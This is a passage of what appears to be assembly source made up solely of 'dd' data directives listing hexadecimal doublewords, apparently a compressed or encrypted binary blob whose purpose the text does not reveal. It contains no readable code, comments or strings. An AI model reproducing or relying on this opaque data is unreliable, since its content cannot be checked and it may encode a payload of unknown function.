8529C020h, 1D13BEF5h dd 1BC1898Dh, 6651C300h, 0FC07C281h, 609059E9h, 0D9C78B82h dd 37AE006Bh, 44A154DDh, 87342F00h, 6E785ED2h, 90500061h dd 8D89F48Ah, 2FA10231h, 0BD8B107Eh, 18939CFDh, 50D05A90h dd 0A5C88A3Bh, 34C748E9h, 295C0082h, 0A9DE07FEh, 1E007549h dd 274B6002h, 12FF4F16h, 0A31C6195h, 3116B285h, 8BBCC81Dh dd 3FBA1DC0h, 0B2C99A1h, 1BA98589h, 83D03D5Bh, 9AAD12FFh dd 0E125F082h, 6B446C32h, 0D1818508h, 0BC6CC45Bh, 505ED050h dd 487EF62Ch, 0FBC8AE17h dd 0E9C6FC8Eh, 47BC24F9h, 86B817A9h, 0DD975B02h, 64E89474h dd 0A7D20FDDh, 0F534D49Ah, 0CBDED980h, 9E00585Ah, 0E20A1C9Dh dd 0ED465BDh, 505FB4B7h, 8B970136h, 3A310FD1h, 0E0B70122h dd 3A2994h, 2709821Bh, 38542EB4h, 81213D1Eh, 0F71A83D3h dd 5EC2125Ch, 53EE4097h, 0FF7AD898h, 3B6FC202h, 4654CF72h dd 81601CAh, 32DB08Dh, 0C2533B46h, 569255E5h, 24CB1C59h dd 0FACF4E03h, 42006E75h, 34F42C91h, 1A00EA0Ah, 0AEB1084Ah dd 0C981BEh, 687563DCh, 0C5B5FF5Bh, 727A2D5Bh, 90CF8E09h dd 79638301h, 0FFF800EAh, 400DB6D0h, 0D3353776h, 0E589FE12h dd 17080C1Dh, 4D912E7h, 320F6108h, 0AD335826h, 1665E051h dd 0E6D4AAFDh, 19D91048h, 6BD22E52h, 3AAF00AFh, 0AC54B2A1h dd 0D8250238h, 1D9D2382h, 6803CB5Eh, 0DCBED393h, 0B1B91E90h dd 0B5DBA07Ah, 0C9DDA2D7h, 0EAFB7144h, 0E05DCD08h, 0F782716Fh dd 0A5FED700h, 0BD2B6A70h, 0A889755h, 6987C9EAh, 0E48335F8h dd 69FE29ECh, 0DB192441h, 1588450Bh, 0EFC04DC4h, 0C222E98Dh dd 0ECB3D07Dh, 4BEAF288h, 53C0E1EDh, 2F05B29h, 441EDF32h dd 0A37CA7E2h, 2D81FB40h, 2EEE64Ah, 0FDAD48E5h, 36F2E90Fh dd 7CF98A00h, 5E52DD3Dh, 33A048F8h, 0CE27A110h, 125110FAh dd 5E0A2CDDh, 0DFCF9102h, 52466EAh, 0D41F6D39h, 0F41E250h dd 607C13A1h, 79998432h, 0DCDE0070h, 0DF4ECDD7h, 9800C45Ah dd 0FFBF505Bh, 99414C67h, 8A60190Bh, 21B01102h, 1C311C21h dd 0F9661A45h, 0E1617D04h, 0BA01606Fh, 0D3A4AFC1h, 4D95D880h dd 0A5052648h, 0C7B88BADh, 0A5479C12h, 0AD791529h, 0FC242EA8h dd 4E06895Bh, 50E2FF13h, 48B17D8Ah, 0D1411A2Fh, 23FB3B2Fh dd 1E803E1Ch, 9CB740E3h, 0D158FF57h, 86BA18F0h, 0E121854Ah dd 0F4185D75h, 0C469A56Ch, 0E2A86017h, 767663h, 0BF5FF18Ah dd 2E2A25CFh, 83821791h, 43DB0570h, 0B940A4C1h, 4EFE9EE1h dd 9E045048h, 19FCB587h, 601C3C7Fh, 0E962186Ch, 38604079h dd 0B5D10042h, 9C65F51Fh, 0F417B45Fh, 6507BE61h, 0E76A32FAh dd 60FD8A42h, 7685CB36h, 611485Fh, 7AC22525h, 4DC877Ch dd 9ADE86C0h, 17078195h, 0B4C8939h, 80C052BDh, 82DC79EFh dd 0B0DCAC5Eh, 668B0751h, 5482D914h, 0AD0B82CAh, 8D0B23E8h dd 0C443EE7h, 70C05704h, 44E85ACEh, 6C01CC08h, 4DB1F909h dd 0F1743AC7h, 0F706C0CEh, 0C2685A61h, 0C44EE100h, 18528CBAh dd 4810135h, 0B12E3E24h, 885E4B3Bh, 6676C014h, 0ED0389BBh dd 5CEFE768h, 1959049Dh, 0C262A410h, 7B7E5595h, 72E8BA40h dd 0F9365CDBh, 0B32E2112h, 3018B2F2h, 741397ECh, 200E6026h dd 0DEB03295h, 9D090B5Ah, 0CA912221h, 0A6B915B9h, 58006EB8h dd 5CA94B52h, 98F0B57Eh, 0D2B71B52h, 7C10525Fh, 680705B1h dd 4F3BF599h, 7D2CD86Bh, 96FB3A12h, 87A0C98Ah, 17B62490h dd 9FF81D87h, 1F714A09h, 300B9786h, 5898D3BCh, 6533CC00h dd 7EAA07CAh, 0ECF014Ch, 27BC53F2h, 20EBF171h, 0E7C08650h dd 50F98B90h, 5A84CF57h, 0CD530512h, 13BA164Ch, 0A374A744h dd 0B5C642B1h, 90B58D0Dh, 0CB1D3077h, 8BC43A04h, 36F8E59Dh dd 60D1502Eh, 0F5EE9174h, 45236E00h, 0A9CA9F6Dh, 21BA4BBDh dd 0F8D7A415h, 0FE007529h, 961F40BBh, 0C2FBD4C5h, 5AE460BCh dd 0B7B56F78h, 5E050054h, 97CFCB09h, 0A9A5A101h, 8B0F5090h dd 7E525342h, 7DCF4031h, 410A24D7h, 9A905F9Fh, 4154674h dd 870F148Eh, 7DC469F8h, 61D6192Ch, 6001CFFEh, 0C61BBE1Ah dd 0EE745F04h, 46C3EA62h, 14DDE881h, 8B2612B3h, 7A8156B5h dd 2D91004Dh, 6C799DAh, 4D1602F5h, 358D89E6h, 0B147305Ch dd 82EAD96Bh, 1CD9533h, 0C6B5C249h, 7E806368h, 32EA2059h dd 0C0608937h, 82275DE2h, 12019361h, 0F4995CF8h, 4B3FD64Ch dd 20468A21h, 5B73F70h, 199D33C2h, 0C8E9516h, 51C1B56Ah dd 0DE38100h, 5968CA2Ch, 574D69E9h, 1F7075F3h, 3188CA0Fh dd 0E6409780h, 5295E014h, 0BCB10046h, 89D5911Dh, 0C492E1BDh dd 0F138802Eh, 3AA0CD93h, 25E934FCh, 0B8F2E941h, 58931FC7h dd 19E9E90Fh, 435C6848h, 150560DDh, 659BD23h, 1E2F430Ch dd 0E1748A51h, 0CDA93A40h, 0FA3F03E0h, 0A0DF3467h, 19E81E24h dd 9B03943h, 0C9950105h, 3B5973E0h, 2AB0CEA6h, 45E3B969h dd 6115E4DEh, 0C020EC51h, 56C49AA1h, 59F0EB40h, 91351C1h dd 5BC64DBDh, 5F65EE7Ah, 1BA4C82Ah, 60754486h, 0CEA5BBBDh dd 6D3EC406h, 0ACBD1E05h, 9760F150h, 1BFE945h, 9055079Bh dd 785FFE8Ah, 0F4FC2E2Ch, 0AF943620h, 63C5A0DCh, 7970135h dd 0FABFF91h, 653F478Dh, 8A580288h, 6368C6D8h, 2240DD95h dd 2EBDEE58h, 438A2179h, 0A8277346h, 572A80E8h, 0F310F5Fh dd 585AEDB6h, 8A0E30D2h, 793F9AEAh, 0F92D87B3h, 0B920A55Dh dd 4A459D89h, 0A9EC4905h, 214CADE4h, 9625D6A0h, 3080A1E8h dd 0A14A4DB2h, 7DD36207h, 920FAB3h, 2F8E436h, 0A5A2F3F6h dd 9A41C00Bh, 0F2942392h, 8CE23017h, 3EC33A4Fh, 0A0974AA9h dd 99461D5h, 6A639DCh, 85A81370h, 3D1E042Dh, 22B4CA0Eh dd 40E49E01h, 0DEE71D22h, 0FE4B0900h, 0CE69C4B1h, 6B28B8B2h dd 84B72582h, 7F7BB207h, 0FC617DD2h, 0B418DCDAh, 85CC100Fh dd 0C6818012h, 0C7011C27h, 601B6409h, 4A058FCh, 7163D328h dd 0CBEDC12Eh, 0C6ECCBE9h, 0D1206E11h, 7D0CC407h, 5689120Bh dd 662480C1h, 459B90FBh, 88248011h, 1FBDEC4Eh, 0D9BC030Dh dd 8304169Ah, 8B61F7B0h, 0A259D125h, 5898B366h, 90E95A63h dd 842C0104h, 23B06300h, 2D75FE27h, 57C80976h, 7AC10BBBh dd 30B601C7h, 66288A21h, 0FA43BB8Fh, 0ACDD768Ah, 0ADF8805Bh dd 4D2376Dh, 4D9D0B6Eh, 0FDF01608h, 0DDB52729h, 61BFFC83h dd 0FF6F11E8h, 99A4FEB3h, 8E8B2DD6h, 0ECFC1h, 0EA88DF81h dd 0BF254816h, 9E27A116h, 1D9087A6h, 14F88915h, 51B7BA80h dd 8B48275Ah, 0DD7B5A77h, 5BE2700Ah, 173812CFh, 4CB0B2D1h dd 1306226Ch, 22359D09h, 5150BDh, 4FA40400h, 9A33E218h dd 6FADB6B7h, 4245933Dh, 605790FFh, 95209057h, 0C77F3FF4h dd 7000FEDCh, 899DCD94h, 0B4257DDAh, 5FCEA0ECh, 0F41B950h dd 90432310h, 0FAD98181h, 4AB3784Ch, 9A005C7Bh, 7E16E63h dd 7BB01DCBh, 1206112Fh, 577A85D5h, 0DF405A40h, 0A6545Ch dd 0EFC6AB36h, 0AE296CECh, 6487E605h, 0FBC39059h, 0E90684D1h dd 927E3B0Eh, 1C343600h, 7025E0F3h, 0AFA809EAh, 1202A539h dd 0B3002265h, 5C08B45h, 0A0790DBFh, 0A2A8F758h, 6E91356Fh dd 0F07FB6D6h, 0D0F91565h, 59348894h, 0A545F0DFh, 0C0C202EBh dd 0C00AE9A0h, 0BD3C6A3Dh, 2606D72Fh, 0D90191D1h, 0F5F95042h dd 0E3828AF7h, 5D720D61h, 0B626812Ah, 0B607544h, 0A8D88C66h dd 354436F8h, 34014F6Ah, 7C60F379h, 0F14ED062h, 0FE8B002Bh dd 0C24EFC1h, 20947468h, 23D7286h, 48295857h, 1DE41CDh dd 0AD32E91Ah, 6819306Bh, 0C53016DFh, 0ABE8DA9h, 149143Fh dd 40C5250Eh, 0DB6A50A9h, 6E404A7Ch, 0C3046112h, 6006E0C1h dd 7999ABD8h, 0F8D600D7h, 0ADE73268h, 0D4001592h, 812EF20Bh dd 26951BE9h, 12D235ACh, 239D3AC0h, 0FE740B15h, 0DA004744h dd 0F7D04B5Bh, 9C0A895h, 31AEFA54h, 27CD5B82h, 658A5E04h dd 386419C8h, 0D5118C50h, 349D0913h, 456B3CAAh, 11200E17h dd 0F889A723h, 16119D9Dh dd 0DC5B9582h, 56004151h, 9EDFB23Ah, 0BE262C1Ah, 0F6511509h dd 106593Ch, 0DE020F40h, 197942B9h, 0EF0EA618h, 2337B8CCh dd 68D0Fh, 0A7E6811Fh, 0E81D6355h, 0B0086725h, 93532Dh dd 1388F3C4h, 0E5AA5C95h, 8D078C28h, 4A9F2D49h, 99E082E6h dd 6305F7FEh, 0B94CF075h, 5B00EFF2h, 0ECE5CA33h, 0BF3C0922h dd 1A7B3BADh, 0F3A117E8h, 83F3702Eh, 0C1AC604Ch, 8D0948E1h dd 86C9EA40h, 0BD920345h, 1ED3E55h, 0B95019E2h, 95136177h dd 1C21160Dh, 2A3C1575h, 0B8C14ECh, 0B99D294Ah, 4A90ADD0h dd 1220BD20h, 2707A6E8h, 8B73EC3Dh, 9969F87Dh, 0C12DED1Bh dd 88CF8A0Eh, 8C556h, 0E80AD980h, 0C09C076Dh, 3A164676h dd 587631E2h, 0BE00281Dh, 0C00DB966h, 5C3FE82Dh, 0C03D9B2Eh dd 3F731728h, 1960C497h, 14E8062Bh, 0B58B0A57h, 42CB1B31h dd 4752129Dh, 0FD24EAEDh, 65F97695h, 0CB0382B8h, 0B70F0D4Eh dd 0DD6618C8h, 0B1BD7331h, 0CA672C64h, 0A831AD34h, 310B05E9h dd 85C1661Eh, 8980B57Ah, 4719E570h, 60176401h, 4C0AC5E4h dd 8004F431h, 0FD0F87CFh, 611C7007h, 74F15A53h, 0CD902EA1h dd 29AD664h, 0FBAE6480h, 3035939h, 8975E2D2h, 4909C29Dh dd 2CE5BD77h, 81C56F42h, 2F499D06h, 48238391h, 1D0D1084h dd 65B50105h, 351D0920h, 19F13371h, 53006418h, 0D79868AEh dd 0C711BD23h, 39E5E867h, 2C84883Dh, 0E81F931h, 81000BB9h dd 7078C7D7h, 55B86462h, 0D911F12Eh, 0F7181Ch, 91846A1Dh dd 46ADB3DEh, 0FE484D90h, 9A1B09BAh, 301C8DE8h, 39B8EB3Dh dd 0C540799Ch, 0A6396h, 0A7A45CCFh, 1DA05D6h, 0A449CC5Fh dd 6D84A9E1h, 9D83C531h, 21DC4102h, 0C95D170Dh, 0B505D823h dd 3660F7h, 54664BD7h, 0F189830h, 0B18E2734h, 19C4872Ah dd 0C0DDCB61h, 0C131F979h, 0F398C56h, 0DAE85900h, 0A0B7044Bh dd 0D0DFD3A3h, 58EBA920h, 9589E904h, 66881CD1h, 412E4F65h dd 0E8F50CEEh, 3771AFA2h, 648300DEh, 6022D845h, 0C9950908h dd 0CC800F29h, 0B4D061C9h, 7E4E6D31h, 0DE2B017Dh, 4D578065h dd 7088099Dh, 8B6612B0h, 4B10F8CFh, 8F81899Bh, 2F62828Ah dd 0E6BAF232h, 4C97658h, 8B08AFB6h, 0B843B9C3h, 0B85719CFh dd 2FF1AE98h, 1B6F97C5h, 9796D101h, 30BA6D6Eh, 2A4BA157h dd 175231E6h, 0A7301DE2h, 8C60002Dh, 0C60CC030h, 0F25038Ah dd 146EC482h, 2FD82B8Fh, 0E8C18B8h, 3CDB9E6Eh, 0A9720632h dd 0BE07B107h, 0B993C6FBh, 5647F410h, 0C8E6A350h, 4BC9B533h dd 13B4B712h, 6F92800Fh, 80955EE8h, 8A9D141Ah, 0C5027108h dd 5EFCD935h, 0DC8A5C5Bh, 6FB9D00h, 0F9BF0FE1h, 1995138Dh dd 0E8DDAD13h, 20A10198h, 1CB91509h, 7E7BFE89h, 4D08470h dd 29B928D6h, 0A02CF060h, 0C558B2E0h, 44207A8h, 0ADBBB509h dd 36472444h, 0B6E952DFh, 0A9D06137h, 0B75729C2h, 9E90A88h dd 0F88D06DEh, 449ED0FCh, 3E6F26DCh, 0B1ED1915h, 0C749D7B5h dd 9CABC0Bh, 5A13D7F2h, 0B10081E4h, 76039DCFh, 0FD46D6h dd 0ED62431Ah, 0C39C23B7h, 1BA187A0h, 45B9EF95h, 6E81174Fh dd 0F11635CBh, 0F3B8DDF9h, 6145516h, 6B9FE52h, 13AD214Bh dd 65CBC4CFh, 0D9AE1200h, 0C5C48D54h, 0E3B433AAh, 0FBECC1FAh dd 8D01347Ah, 4E9FBE59h, 1A7F30E4h, 0DC46BCh, 3798C8A1h dd 0CFD68197h, 547D5115h, 0B8A15D8Dh, 2636016Bh, 4CBF6682h dd 35EC8BA4h, 0AD781022h, 0B58B130Eh, 2E37B9F1h, 0F21A6A1Ah dd 50387D77h, 44CEF42Ch, 333A10BDh, 3C645ADFh, 18EBB75Fh dd 0D658478h, 0E57A408Bh, 72ABD931h, 0F1CF2E61h, 26C01B88h dd 3C0D9Fh, 0BAA0FAEEh, 3B7755BFh, 1572013h, 6480B36h dd 9529521Ah, 14DAE531h, 6DB75F92h, 9B951000h, 0ACD0BA5h dd 0AC23473Ah, 0D2F309BDh, 0FA801451h, 7A99F704h, 500B0642h dd 0FAC8DEC4h, 10EC520h, 1EF18151h, 0A75B97F8h, 1302B7ABh dd 31932258h, 0E9FE107Fh, 6F27D2CDh, 1585003Bh, 1A520EDh dd 0F2E94ABDh, 196E4E72h, 0A03C7A12h, 4AAD6A37h, 2B540FC0h dd 0B1D01BAEh, 88C94457h, 95891006h, 0A6FD9141h, 81508CAh dd 5508B626h, 5E510420h, 0E0A4E6C3h, 277A279Fh, 544F6C0h dd 0CCE27300h, 0E7A7ABDDh, 54DF0F48h, 116056BBh, 81955782h dd 43E9F705h, 5B813787h, 8A012171h, 189B2FC5h, 239C8380h dd 5208B9F3h, 800DE9A2h, 8B8C29AAh, 0DE01767Bh, 4497FC0Ah dd 91EBC0D5h, 0DADFE9BEh, 0D002DB34h, 46840F2Dh, 2022B49Bh dd 7173F33Ch, 0B5D1818h, 4784D022h, 0B1E71E81h, 56DB3E67h dd 0F1F5381h, 3EED4982h, 4B3CC8h, 0B4972C7Ah, 0F2E02A5Eh dd 7F8253Bh, 6E3991BFh, 8D03951Ah, 3B1AF985h, 2DAF29E0h dd 9D036381h, 2F4168B5h, 4CB51090h, 31FC008Ch, 8B33CAA9h dd 20E35070h, 904ED993h, 8580B39Bh, 4E050275h, 0C679E717h dd 1C99A8C1h, 41A25406h, 1CB1785Eh, 230832D9h, 0C462449Dh dd 0A83756CEh, 8C1AECC9h, 0BE3ACA0Eh, 0DCB701BBh, 729CC083h dd 90F98FDAh, 8546C80h, 0F8ED5002h, 347CE2E0h, 5DC04BCh dd 0F21DA25h, 0A41C1080h, 2C4ED57Ah, 69C92EBDh, 0BB8202Ah dd 0D2004DCAh, 85AB8BDCh, 487E8Eh, 0DA4FF69Ch, 0F60A243h dd 0B258A5Ah, 7FBBD7C0h, 224C2D17h, 5BA7C45Bh, 43935054h dd 0C1B12500h, 9C869EB3h, 55BB0E66h, 0AD368D99h, 0FBFE65CAh dd 8100B4A9h, 0BB0CD6EBh, 0CC17F78Fh, 0A4B36124h, 0AE440120h dd 0F6024E6Ah, 175BE05Eh, 8AD9028Ch, 0FBE3C72Ch, 13293140h dd 58509080h, 40C09452h, 37539BFBh, 23786875h, 1285F704h dd 1281310Fh, 8827585Ah, 1D76A5Bh, 0AEEC11C4h, 0DA337193h dd 7BC8CA00h, 788E179Dh, 2018C98h, 98B409F1h, 87EA7083h dd 7E0941D4h, 339F453h, 74908B91h, 16A36429h, 0B80D30E9h dd 3760B15Bh, 0FBD98205h, 1DDCBE76h, 82EA5856h, 1ED8C1B4h dd 22D1F640h, 0ED1A4999h, 5BEE81D3h, 7CF2EA8Fh, 0A00F69F9h dd 6EC34983h, 50E48EE3h, 2DF510E3h, 0FCBF5001h, 2E2B26BEh dd 48F63612h, 6959DE0h, 0F0BF6B07h, 64112362h, 8B4935FFh dd 8321FF70h, 0F2575EFh, 0EF80600Dh, 5BB70A0Bh, 7380A899h dd 3098685h, 13E10582h, 0AF6167BCh, 0C8BF3D30h, 15D11F12h dd 9DB5286Ah, 262D69E0h, 2724F982h, 603879DAh, 95C8402h dd 64904585h, 18CB815Bh, 60BE90BBh, 2940C195h, 811E4EE9h dd 2F840F15h, 19FAF688h, 41D98D31h, 0FFEE44B0h, 201E8636h dd 5F1225A5h, 0DA0770E6h, 2B5210C3h, 8CDD56BDh, 1D1071E4h dd 923F2A41h, 7A66E34Ah, 0B628FE79h, 0B569A0C8h, 0EFBC473h dd 8B45BF66h, 9379C12Bh, 0B17F4E00h, 2C931Bh, 1ABDC99Eh dd 3CE3FA83h, 0F12DE479h, 0D0B61CDh, 50F4E004h, 895FFC27h dd 0D044D0h, 0FFCD0E30h, 0B94945B7h, 99E6D807h, 0C6025BBh dd 9057C82Bh, 1B653728h, 0E9D171F1h, 5F36231Dh, 5D511851h dd 0B00AC0FAh, 4CC2F8E0h, 13042C5Fh, 0F5858BFDh, 358A206Ah dd 0B60BF173h, 5412E3Ch, 1CE80740h, 103B881Ah, 0D9724D61h dd 0DA342D0h, 85BD3320h, 3583C807h, 0DED88B89h, 9A86A65h dd 1ED40DDDh, 2E1E8462h, 0C5DEBFC7h, 0FE1809A5h, 3C898041h dd 0C6098EBDh, 0E16B2C99h, 6EB58D10h, 0D9C1BA5Eh, 0E7865BDh dd 0C96E9B93h, 0D6B5F685h, 8E001A46h, 0EA429371h, 572E3402h dd 5B209751h, 81FCC0B5h, 2439E6DFh, 8A3A9CB9h, 18909BB7h dd 52E31EFCh, 29D3676h dd 9259D73h, 1326E6C1h, 7BEF84B8h, 92573FDFh, 1F30E976h dd 0B62F880h, 29CA1F04h, 37F63C80h, 330125B5h, 0AE0B70ECh dd 0BF79D22Bh, 2C009AB8h, 7D7B68B7h, 9F5607ABh, 0D8809581h dd 200271A1h, 4EB710A6h, 0CD9A0022h, 0C9206153h, 2701915Fh dd 33ADF0CCh, 8680D1C2h, 4E983D0h, 0F27F475h, 0BBDF1088h dd 6EEF4F89h, 0C9AB0024h, 3CBB8860h, 64B71D2Ah, 0DE4AF80Dh dd 0E7BF8A8Ah, 8E231508h, 4A3001BDh, 0C32857A1h, 85DE9B5Bh dd 61D050D4h, 0EE5B47BCh, 1BC2728Bh, 8C10318h, 0B2984AC7h dd 0ADED5819h, 7BFAABE0h, 0EDC0BE7h, 0F387F2C1h, 0D72916BDh dd 2C99D11h, 127D2076h, 1D20A4B0h, 5AFC9221h, 0C168DE48h dd 11CF4D4h, 950CDF30h, 79C866CCh, 0DBF0F0Bh, 0C1428705h dd 484DFAFCh, 2B40F5BEh, 32E162FFh, 55822255h, 5E180C99h dd 2AE88104h, 12030D40h, 32EF2Ch, 0C69D3834h, 3A8A1779h dd 10297E3Ch, 5B2A16C1h, 1494001Ah, 0AE981927h, 8FE6F0A7h dd 4D811B0Bh, 3D1B0217h, 225F051Ch, 38020141h, 283D5504h dd 0EA230500h, 0B3861CF9h, 852902A8h, 7BB02A39h, 86350F03h dd 0B0A867C8h, 0CFB60C9h, 9C510970h, 71551A6Dh, 8AD209D5h dd 0DA3CE90Fh, 0C2F88Ch, 0A3D62D55h, 54EDC163h, 37113100h dd 98431866h, 0E9CD00A8h, 5204E180h, 0C9500A5Bh, 1410893h dd 58F63A60h, 8517252Ah, 8139D02Dh, 0E23D77F3h, 2B95F633h dd 90060081h, 989159BFh, 223AB0D7h, 109F0B88h, 57B781Fh dd 7F6036EDh, 0E0DBB690h, 5A1CD89Fh, 6130C137h, 0B6C0040Ah dd 7A3192A8h, 0FA92CD4Fh, 0B8282D60h, 9D4E292h, 0B8D7E19Eh dd 5C5C802h, 0FFC195D4h, 0DE001F03h, 6875B350h, 0E0564DD3h dd 0BB802BECh, 2D3ED195h, 0AC255A4Ah, 501F92A7h, 0F573E528h dd 25D00171h, 0EFE50BBFh, 0C10E5A8Ah, 0F0520C8h, 16CC0389h dd 2C2290D9h, 42FBA350h, 0E902145Dh, 5255017h, 0AEA234BFh dd 0CF008113h, 48032091h, 64ED35D3h, 301393B8h, 2617BCC1h dd 4F3AA520h, 456100DEh, 303BE573h, 2DE1C799h, 0DC6E5A71h dd 25875D00h, 0ACF9DA0Dh, 8B38EF54h, 747E2203h, 91A014FFh dd 0B5E819A3h, 0A9DCD64Ch, 277CBC3Ah, 17D88A60h, 50314D20h dd 0E1819A61h, 7B77A2Eh, 0D28985BCh, 7248C70Fh, 16A90664h dd 0F11905B8h, 0E9EC60F5h, 850C912Bh, 0C0416910h, 0D64B21A7h dd 51B00101h, 58DC9EC9h, 4E043661h, 3401746Eh, 1DB4AC10h dd 0A9FCE789h, 0E648B818h, 0C98D3089h, 53965BC7h, 0C895BA90h dd 908FB3D7h, 480390BCh, 963CBADEh, 80D9B716h, 0FF44AFDCh dd 9268B548h, 4A80F8DBh, 0BD05CBAFh, 782FE5Bh, 0A7116722h dd 72E15F0h, 0DF932AF1h, 3D181526h, 98703C4Ah, 31835A16h dd 405BD92Ah, 0D818BB42h, 9808EE34h, 8D8945ECh, 62E7E61Bh dd 81791531h, 57DF4632h, 60F22328h, 0A9252BA1h, 8E432601h dd 5FA0D40Ch, 3EA85634h, 8941853Eh, 84905004h, 2BD9FB1Ch dd 417D3B30h, 0DAB8240Dh, 8085C72Ch, 7D2C6B6Dh, 5CF23C50h dd 21696023h, 5D0B0BE2h, 0B311227h, 2BD07E7Bh, 3DEF025Dh dd 0A9ECDA1Eh, 0D3419385h, 40DDE922h, 3050FB48h, 44E0110Ch dd 0C11E01E6h, 0EB410E8h, 0F14C8183h, 8A295803h, 36EBE70Dh dd 6404DE36h, 3316EE39h, 2829501Bh, 58182140h, 570113CDh dd 8BC01B09h, 0D1F591C0h, 0EF7181Ch, 0D876BD4Dh, 0B3915362h dd 825FD570h, 47826025h, 85AE70Ah, 0DBA7E985h, 0AE2C703Bh dd 7369D309h, 41BC8249h, 1642426Ah, 5BB56AF7h, 80C8A8D3h dd 9E605210h, 9C954090h, 0D10635CDh, 580625C6h, 61CA1232h dd 6949045Bh, 0C04ADE2Dh, 94B5C47Dh, 54BB0E70h, 8AA4CD8Eh dd 4494C3D9h, 0DA9B914Bh, 0C0570092h, 6C71DEDh, 6BE50170h dd 0DCDB9Bh, 8D0FC708h, 964AA2DDh, 9C1D87B2h, 3CE080BFh dd 63BEB273h, 0C4A77200h, 76E12F17h, 0C5DC3D34h, 0AEBF5003h dd 96814C56h, 2BB859F8h, 15003B6Eh, 0DC521BEAh, 80BDF81h dd 40116FBAh, 0A0538427h, 5E247DCEh, 0C5B49BE7h, 0C429110Fh dd 63C0F11Ah, 34E13D78h, 0F2CB8102h, 605B11E2h, 8201F9D9h dd 851815F0h, 0D81103CDh, 0C4863489h, 8087B849h, 8192E1F3h dd 25320F66h, 1E00C7CAh, 78D38F56h, 4E350D4Eh, 201A20BEh dd 6900B8FEh, 4C283BAh, 9F3DBD33h, 2712DDA6h, 56B53E00h dd 422C9774h, 13F33C3Dh, 9D282A02h, 0CB8167B6h, 6D15BD09h dd 50891E0Eh, 713A7BEFh, 0E9DD2018h, 0DEAAE702h, 0C166B716h dd 0AD63226h, 5602036h, 611ED8BBh, 0B88B0831h, 0F529A1A0h dd 225F016h, 4C204B0Eh, 836DB52Eh, 0F2F978C1h, 9EB32F0h dd 0B9852960h, 98DBDAEAh, 1DD497AEh, 49493BFCh, 0C1468A0Fh dd 70153D25h, 0C66184A5h, 7A9916D9h, 0BE53094Bh, 0F91011ADh dd 62848404h, 0E8ED0753h, 56511296h, 8600C579h, 727BC774h dd 608E020Fh, 5B589527h, 0CCB75EE0h, 596E964Bh, 3C356600h dd 87162FF6h, 1D4525B8h, 0A7802A7Ch, 0ADF61A0Eh, 0F96E6B00h dd 0EBBC7758h, 2BF50A6Dh, 3FEAA329h, 5B562EA0h, 9D177D83h dd 0D3B81C31h, 520B0788h, 0FEB0589h, 20281A76h, 5DA10CC5h dd 84643C3Dh, 20825CDh, 0C39E7B16h, 7FD023C1h, 10F56883h dd 924832B9h, 4FA766CFh, 7CEDD024h, 39007D51h, 121E85BBh dd 123C7B79h, 82C44DDCh, 0A6565172h, 8C372Fh, 0A0B5B86Ah dd 0B92726EFh, 9245084Fh, 18156908h, 85312EC6h, 60A2A155h dd 0D41FD9Ch, 0B65F4869h, 4191E0E1h, 9C400042h, 1F73F78Eh dd 8000BFA3h, 0E928194Ah, 0E2FFF3B6h, 59D3103h, 3FC18B91h dd 9C04C96Eh, 0B8011A0Bh, 0B589C147h, 50001741h, 0DDBED98Bh dd 6834682Eh, 0A2B8DAF9h, 108AF505h, 0A705C522h, 0D3250D39h dd 1E8632C6h, 0E7EB464Dh, 75C05CEDh, 90324FDEh, 933F0BDEh dd 0B153C083h, 95EC478h, 5231D8BAh, 58A0CBE4h, 2E07B188h dd 0F6F79B8Fh, 0AAE45800h, 9FFD04BDh, 0C4A89C9Ah, 0A3C08406h dd 0A4F92A06h, 6D9D090Ah, 893D7E1Fh, 9A1B6985h, 533889C3h dd 0D692A4FEh, 0A161E213h, 3F11E30h, 1F8A006Ah, 82350470h dd 0DC055713h, 50AEAB1Eh, 0E70150ACh, 295F1525h, 974AD78Dh dd 53C16CDh, 79765C80h, 29133AE7h, 1E6D1FFh, 2E5C12E2h dd 9E2E7751h, 0CC3CC04Eh, 0B4026AF8h, 3B04DCD3h, 0D88A3DFDh dd 3118C81h, 0DF2F882Ah, 0DA778990h, 0A563FC58h, 24C86AAEh dd 591584D4h, 6AE912B3h, 5784F7B3h, 18941A46h, 1FEE3E8h dd 9DBC3119h, 2BCEB762h, 25711DCh, 0B1ADF781h, 51C24877h dd 8965E654h, 9270882h, 140CF7E1h, 3EBF3CB0h, 310BA432h dd 9CFEDBB3h, 0DC187649h, 6CDD1625h, 1607CDAh, 5BECC080h dd 520D8D23h, 0E15661A6h, 795C82C9h, 0D0512915h, 0E37CD680h dd 0FB6AF559h, 5E78FA20h, 0A43BF1D0h, 951A9331h, 0CEBE5431h dd 0B0E74091h, 792A88E1h, 70E6092Ah, 1948838Bh, 0E401DE8Bh dd 95336071h, 45AE035Dh, 0A30C802Ah, 1D2F6391h, 804CD23Ah dd 876CA238h, 4AC80BDAh, 0EEBED261h, 1EAF712Bh, 9CDA815Ch dd 0F069B9E8h, 98091E4Bh, 5A8E93BDh, 559D21CEh, 0F21ABF43h dd 0C199C12Bh, 0D00C161h, 4A5DB501h, 7ABEC908h, 0C2E86E17h dd 5A1718D6h, 53BE0D85h, 0BBB8D197h, 0BD82009Dh, 0FA1D8745h dd 0FC5BF824h, 0C9B52960h, 8537CB04h, 0A8C4A55Ah, 0A412163Dh dd 0D536BFA0h, 0B0380E9Bh, 549E8A4Dh, 601291A3h, 0E91CF62Ah dd 0D613DF5Dh, 0DB7ACC87h dd 0B4F146BDh, 6F834007h, 72032F92h, 0E0AB889Bh, 6B4E126Dh dd 22B5B229h, 0AB0F9532h, 2725A58Ah, 2BADFD02h, 0D8C4B0F7h dd 0B8E64A5Eh, 0C4892D5Bh, 3547A118h, 25ACFFA0h, 0C965174Dh dd 26C2C608h, 9C5BEB9Ah, 5808350h, 0EB6B18FEh, 0C8A08C2h dd 7CDCC4AFh, 0E36804FCh, 0AC96F32Ah, 0B9EFD8DDh, 0AD0E7049h dd 0C602C042h, 0EF38AE10h, 41E8A884h, 0AD1F83B5h, 3630AFD6h dd 509A5420h, 0A9758B43h, 162B5BF4h, 0E10EB6E7h, 1B20FC4Dh dd 0F21C4FDDh, 3C9A96D4h, 81C83E8Ah, 2B74DF80h, 8C0FECD2h dd 49EFD9B4h, 40C15986h, 433B4E11h, 0D6E2CD01h, 0E0A2640Ah dd 5AB64B1Ah, 6972C5E0h, 0F9E8DC02h, 41416102h, 127EA1B7h dd 3C6EAFD1h, 0E7EB0E00h, 0AA05E64Ch, 8817191h, 30F36C4Eh dd 93844E30h, 0F34AA5B7h, 0E2904D57h, 0AD40828Fh, 0BF802E99h dd 4E4EEEB7h, 0B8B1340Bh, 651325EEh, 59F0A3FFh, 